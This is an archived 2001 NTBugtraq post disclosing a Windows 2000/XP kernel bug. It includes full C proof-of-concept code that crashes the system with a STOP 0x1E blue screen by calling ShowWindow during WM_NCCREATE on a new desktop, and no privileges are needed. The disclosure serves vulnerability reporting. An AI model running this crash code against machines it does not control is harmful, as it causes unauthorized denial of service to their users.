A GDI bug.

From: PeterB (peter@INKVINE.FLUFF.ORG)
Date: 10/27/01


Message-ID:  <Pine.LNX.4.21.0110271820240.10726-100000@inkvine.fluff.org>
Date:         Sat, 27 Oct 2001 19:17:41 +0100
From: PeterB <peter@INKVINE.FLUFF.ORG>
Subject:      A GDI bug.
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM

Hello.

Lines get wrapped, fix them yourself. It's fairly self-evident.

Crashes Win2K 'SP0', SP1, SP2, WinXP 'SP0'.

MS allegedly know about it, but there is no indication of this on their
web site (nor in the list of post-SP2 hotfixes).

Their support numbers are all national-rate (expensive) numbers, and I'm
not particularly taken with the idea of paying for the privilege of
reporting bugs.

Anyway, STOP 0x1E (unhandled exception) from Win32k.sys (GDI). The
exception is 0xC0000005 (Access Denied). According to the third parameter
(0x0), the exception was caused by an attempt to read (0x0) a memory
address that could not be read (0x000000038).

I suspect that I shouldn't call ShowWindow() upon recepit of a WM_NCCREATE
(WM_NCCREATE is sent to a window shortly before it's asked to create
itself), although it works just fine when using the interactive
windowstation/desktop.

It requires no special privileges to run or anything like that.

#include <windows.h>

LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM
lParam)
{
        switch(message)
        {
        case WM_NCCREATE:
                {
                        ShowWindow(hwnd, SW_SHOW);
                }
                return TRUE;
        }
        return DefWindowProc(hwnd, message, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR
szCmdLine, int iCmdShow)
{
        HWINSTA ws = CreateWindowStation(NULL, 0, WINSTA_CREATEDESKTOP |
GENERIC_ALL, NULL);
        SetProcessWindowStation(ws);
        HDESK dt = CreateDesktop("TEST", 0, 0, 0, DESKTOP_CREATEWINDOW |
GENERIC_ALL | DESKTOP_CREATEMENU | DESKTOP_SWITCHDESKTOP |
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS, NULL); // no idea what access
I actually need, I think this is just about everything
        SetThreadDesktop(dt);
        WNDCLASS wndclass = {0};
        wndclass.style = CS_HREDRAW | CS_VREDRAW;
        wndclass.lpfnWndProc = WndProc;
        wndclass.hInstance = hInstance;
        wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION); // default icon
        wndclass.hCursor = LoadCursor(NULL, IDC_ARROW); // default
cursor. One or other (or both?) of these seem to be necessary.
        wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
        wndclass.lpszMenuName = NULL;
        wndclass.lpszClassName = TEXT("Crash");
        RegisterClass(&wndclass);
        HWND hwnd = CreateWindowEx(WS_EX_TOOLWINDOW, TEXT("Crash"),
TEXT("Crash"), WS_POPUP, 300, 300, 300, 445, NULL, NULL, hInstance, NULL);
        // NEVER GETS HERE.
        ShowWindow(hwnd, iCmdShow);
        UpdateWindow(hwnd);
        MSG msg;
        while(GetMessage(&msg, NULL, 0, 0))
        {
                TranslateMessage(&msg);
                DispatchMessage(&msg);
        }
        return msg.wParam;
}

--
Peter                                              peter@inkvine.fluff.org
http://www.inkvine.fluff.org/~peter/

logic kicks ass: (1) Horses have an even number of legs. (2) They have two legs in back and fore legs in front. (3) This makes a total of six legs, which certainly is an odd number of legs for a horse. (4) But the only number that is both odd and even is infinity. (5) Therefore, horses must have an infinite number of legs.

============================================================================ Delivery co-sponsored by Trend Micro, Inc. ============================================================================ BEST-OF-BREED ANTIVIRUS SOLUTION FOR MICROSOFT EXCHANGE 2000 Earn 5% rebate on licenses purchased for Trend Micro ScanMail for Microsoft Exchange 2000 between October 1 and November 16. ScanMail ensures 100% scanning of inbound and outbound traffic and provides remote software management. For program details or to download your 30-day FREE evaluation copy: http://www.antivirus.com/banners/tracking.asp?si=53&bi=245&ul=http://www.a ntivirus.com/smex2000_rebate



Relevant Pages

  • Here is the article with Milolka questions.
    ... After reading in Dressage & CT the series of articles on Baucher written by ... legs' and ' legs without hands'. ... listening to the pupils the masters left behind and by assessing the horses ...
    (rec.equestrian)
  • Re: OT: More Equestrian
    ... are bred specifically to pace. ... both left legs, then both right legs. ... Horses that pace only do it while trotting or foxtrotting. ... The canter is a three-beat gait where the two forelegs strike the ground at the same time and the hindlegs each have their own beat. ...
    (rec.crafts.textiles.needlework)
  • Re: The hardest part of owning a horse....
    ... underneath that snow was a fresh layer of ice ... | AM feed everybody standing bright eyed and moving sound on four legs. ... | paddock with the other horses present and left him there overnight. ...
    (rec.equestrian)
  • Re: Evolution of horse hoof
    ... horses to have evolved a horse-hoof on the front legs and cloven ... but if evolution had gone a different ... There clearly *is* linkage between front and back. ...
    (talk.origins)
  • Re: Evolution of horse hoof
    ... But, if these hooves evolved from feet, why ... horses to have evolved a horse-hoof on the front legs and cloven ... before the number of toes was reduced, ...
    (talk.origins)